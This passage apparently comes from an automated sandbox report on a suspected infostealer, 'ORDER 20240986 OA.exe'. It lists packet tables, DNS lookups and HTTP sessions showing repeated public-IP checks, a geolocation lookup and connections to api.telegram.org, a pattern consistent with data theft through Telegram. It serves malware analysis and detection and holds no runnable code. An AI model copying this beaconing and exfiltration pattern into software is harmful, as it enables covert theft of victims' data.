Nov 21, 2024 09:01:37.031522036 CET	49819	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:37.032923937 CET	49829	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:37.152347088 CET	80	49829	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:37.152560949 CET	49829	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:37.152652025 CET	80	49819	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:37.152704954 CET	49819	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:37.154551029 CET	49829	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:37.274132013 CET	80	49829	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:38.386790037 CET	80	49829	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:38.388246059 CET	49833	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:38.388278008 CET	443	49833	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:38.388353109 CET	49833	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:38.388628960 CET	49833	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:38.388643026 CET	443	49833	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:38.426824093 CET	49829	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:39.645545959 CET	443	49833	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:39.647083044 CET	49833	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:39.647099018 CET	443	49833	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:40.101188898 CET	443	49833	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:40.101264954 CET	443	49833	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:40.101311922 CET	49833	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:40.101864100 CET	49833	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:40.105689049 CET	49829	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:40.106935024 CET	49838	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:40.225567102 CET	80	49829	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:40.225637913 CET	49829	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:40.226564884 CET	80	49838	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:40.226639032 CET	49838	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:40.226825953 CET	49838	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:40.346221924 CET	80	49838	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:41.537235022 CET	80	49838	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:41.538556099 CET	49842	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:41.538599968 CET	443	49842	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:41.538676023 CET	49842	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:41.538937092 CET	49842	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:41.538964033 CET	443	49842	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:41.583327055 CET	49838	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:42.796660900 CET	443	49842	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:42.798542023 CET	49842	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:42.798556089 CET	443	49842	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:43.248239040 CET	443	49842	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:43.248302937 CET	443	49842	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:43.248361111 CET	49842	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:43.248790026 CET	49842	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:43.252341986 CET	49838	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:43.252940893 CET	49846	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:43.372113943 CET	80	49838	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:43.372174978 CET	49838	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:43.372358084 CET	80	49846	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:43.372428894 CET	49846	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:43.372589111 CET	49846	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:43.491966963 CET	80	49846	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:44.709273100 CET	80	49846	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:44.710530043 CET	49851	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:44.710578918 CET	443	49851	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:44.710645914 CET	49851	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:44.710942984 CET	49851	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:44.710953951 CET	443	49851	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:44.755063057 CET	49846	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:45.967787027 CET	443	49851	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:45.969364882 CET	49851	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:45.969397068 CET	443	49851	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:46.422755957 CET	443	49851	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:46.422811985 CET	443	49851	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:46.422864914 CET	49851	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:46.423257113 CET	49851	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:46.426615000 CET	49846	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:46.427571058 CET	49857	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:46.546613932 CET	80	49846	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:46.546705008 CET	49846	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:46.547076941 CET	80	49857	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:46.547152042 CET	49857	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:46.547331095 CET	49857	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:46.666829109 CET	80	49857	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:47.779884100 CET	80	49857	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:47.781289101 CET	49859	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:47.781378031 CET	443	49859	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:47.781478882 CET	49859	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:47.781759024 CET	49859	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:47.781790972 CET	443	49859	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:47.833162069 CET	49857	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:49.085099936 CET	443	49859	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:49.086910009 CET	49859	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:49.086946011 CET	443	49859	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:49.550198078 CET	443	49859	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:49.550285101 CET	443	49859	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:49.550476074 CET	49859	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:49.551301003 CET	49859	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:49.554986000 CET	49857	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:49.556106091 CET	49864	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:49.674812078 CET	80	49857	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:49.674985886 CET	49857	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:49.675604105 CET	80	49864	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:49.675688982 CET	49864	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:49.675864935 CET	49864	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:49.795280933 CET	80	49864	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:51.852545977 CET	80	49864	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:51.853885889 CET	49870	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:51.853938103 CET	443	49870	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:51.854033947 CET	49870	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:51.854269028 CET	49870	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:51.854286909 CET	443	49870	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:51.895576954 CET	49864	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:53.067346096 CET	443	49870	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:53.077013016 CET	49870	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:53.077034950 CET	443	49870	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:53.518049002 CET	443	49870	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:53.518145084 CET	443	49870	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:53.518191099 CET	49870	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:53.518687963 CET	49870	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:53.554063082 CET	49864	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:53.674160004 CET	80	49864	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:53.674758911 CET	49864	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:53.787990093 CET	49876	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:01:53.788049936 CET	443	49876	149.154.167.220	192.168.2.4
Nov 21, 2024 09:01:53.788121939 CET	49876	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:01:53.788755894 CET	49876	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:01:53.788772106 CET	443	49876	149.154.167.220	192.168.2.4
Nov 21, 2024 09:01:55.199254990 CET	443	49876	149.154.167.220	192.168.2.4
Nov 21, 2024 09:01:55.199350119 CET	49876	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:01:55.201915026 CET	49876	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:01:55.201929092 CET	443	49876	149.154.167.220	192.168.2.4
Nov 21, 2024 09:01:55.202250004 CET	443	49876	149.154.167.220	192.168.2.4
Nov 21, 2024 09:01:55.204348087 CET	49876	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:01:55.247349977 CET	443	49876	149.154.167.220	192.168.2.4
Nov 21, 2024 09:01:55.710799932 CET	443	49876	149.154.167.220	192.168.2.4
Nov 21, 2024 09:01:55.710876942 CET	443	49876	149.154.167.220	192.168.2.4
Nov 21, 2024 09:01:55.710958004 CET	49876	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:01:55.753279924 CET	49876	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:02.189234972 CET	49812	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:02:02.409631968 CET	49896	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:02.409687996 CET	443	49896	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:02.409802914 CET	49896	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:02.410069942 CET	49896	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:02.410084009 CET	443	49896	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:03.815562010 CET	443	49896	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:03.817956924 CET	49896	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:03.817981958 CET	443	49896	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:03.818074942 CET	49896	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:03.818093061 CET	443	49896	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:04.393543005 CET	443	49896	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:04.393627882 CET	443	49896	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:04.393732071 CET	49896	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:04.394241095 CET	49896	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:05.911046028 CET	49902	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:05.911092997 CET	443	49902	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:05.911170959 CET	49902	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:05.911406994 CET	49902	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:05.911423922 CET	443	49902	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:07.378952980 CET	443	49902	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:07.426896095 CET	49902	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:09.702475071 CET	49902	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:09.702512980 CET	443	49902	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:09.702534914 CET	49902	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:09.702545881 CET	443	49902	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:10.400235891 CET	443	49902	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:10.400331974 CET	443	49902	149.154.167.220	192.168.2.4
Nov 21, 2024 09:02:10.400542021 CET	49902	443	192.168.2.4	149.154.167.220
Nov 21, 2024 09:02:10.400824070 CET	49902	443	192.168.2.4	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 09:01:19.377253056 CET	52870	53	192.168.2.4	1.1.1.1
Nov 21, 2024 09:01:19.774369955 CET	53	52870	1.1.1.1	192.168.2.4
Nov 21, 2024 09:01:24.115865946 CET	62940	53	192.168.2.4	1.1.1.1
Nov 21, 2024 09:01:24.342747927 CET	53	62940	1.1.1.1	192.168.2.4
Nov 21, 2024 09:01:26.694552898 CET	63945	53	192.168.2.4	1.1.1.1
Nov 21, 2024 09:01:26.922863960 CET	53	63945	1.1.1.1	192.168.2.4
Nov 21, 2024 09:01:53.555427074 CET	56749	53	192.168.2.4	1.1.1.1
Nov 21, 2024 09:01:53.787127972 CET	53	56749	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 09:01:19.377253056 CET	192.168.2.4	1.1.1.1	0xd064	Standard query (0)	sierrassinfinusadas.com.ar	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:24.115865946 CET	192.168.2.4	1.1.1.1	0xbdb5	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:26.694552898 CET	192.168.2.4	1.1.1.1	0x9c40	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:53.555427074 CET	192.168.2.4	1.1.1.1	0xaf18	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 09:01:19.774369955 CET	1.1.1.1	192.168.2.4	0xd064	No error (0)	sierrassinfinusadas.com.ar		167.250.5.91	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:24.342747927 CET	1.1.1.1	192.168.2.4	0xbdb5	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 09:01:24.342747927 CET	1.1.1.1	192.168.2.4	0xbdb5	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:24.342747927 CET	1.1.1.1	192.168.2.4	0xbdb5	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:24.342747927 CET	1.1.1.1	192.168.2.4	0xbdb5	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:24.342747927 CET	1.1.1.1	192.168.2.4	0xbdb5	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:24.342747927 CET	1.1.1.1	192.168.2.4	0xbdb5	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:26.922863960 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:26.922863960 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:01:53.787127972 CET	1.1.1.1	192.168.2.4	0xaf18	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sierrassinfinusadas.com.ar

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49794	158.101.44.242	80	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 09:01:24.468339920 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 21, 2024 09:01:26.018054962 CET	320	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:25 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 49f7f884e6989c8aaebdabf373bbcdaf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 21, 2024 09:01:26.024735928 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 21, 2024 09:01:26.421597958 CET	320	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 514103ea0b735a733601c1159206d7d1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 21, 2024 09:01:28.678023100 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 21, 2024 09:01:29.078656912 CET	320	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:28 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1dfa88db75363cca64b13c957669afd0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49812	158.101.44.242	80	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 09:01:30.865945101 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 21, 2024 09:01:32.249574900 CET	320	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:32 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 657e2f63e9577a27ba775cf16a32bdee Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49819	158.101.44.242	80	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 09:01:34.085762024 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 21, 2024 09:01:35.369781017 CET	320	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:35 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c24cc36d2d4c7a065b8532ab1fd57d77 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49829	158.101.44.242	80	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 09:01:37.154551029 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 21, 2024 09:01:38.386790037 CET	320	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:38 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 997624889b477d1586a2d0cbbe7b29a0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49838	158.101.44.242	80	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 09:01:40.226825953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 21, 2024 09:01:41.537235022 CET	320	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:41 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2a1006da77cf733cdde265a41f502072 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49846	158.101.44.242	80	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 09:01:43.372589111 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 21, 2024 09:01:44.709273100 CET	320	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:44 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 17feef057aa3ebccf22627403fcf9466 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49857	158.101.44.242	80	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 09:01:46.547331095 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 21, 2024 09:01:47.779884100 CET	320	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:47 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f4c3fbe7126488eac4704860a0671747 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49864	158.101.44.242	80	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 09:01:49.675864935 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
